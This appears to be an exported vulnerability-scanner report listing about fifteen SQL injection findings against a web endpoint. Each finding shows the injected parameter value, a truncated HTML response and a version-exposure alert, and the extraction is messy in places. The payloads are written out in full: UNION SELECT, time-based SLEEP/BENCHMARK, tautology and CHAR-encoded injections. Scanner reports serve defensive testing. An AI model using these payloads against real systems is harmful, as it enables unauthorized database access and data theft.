z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1561
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1562
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#CWE-ID CWE-89
Issue Number #1563
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1564
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# or SLEEP(5)
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1565
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1
#ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1566
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# admin' or 1=1 or ''='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1567
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1568
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1569
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1570
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ' OR 'x'='x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1571Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# ""
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1572
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# SLEEP(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1573
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 1=1--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1574
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters DemoUser1# SLEEP(5)="
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  DemoUser1#
CWE-ID CWE-89
Issue Number #1575
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
DemoUser1# AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR(
88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(116)
))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
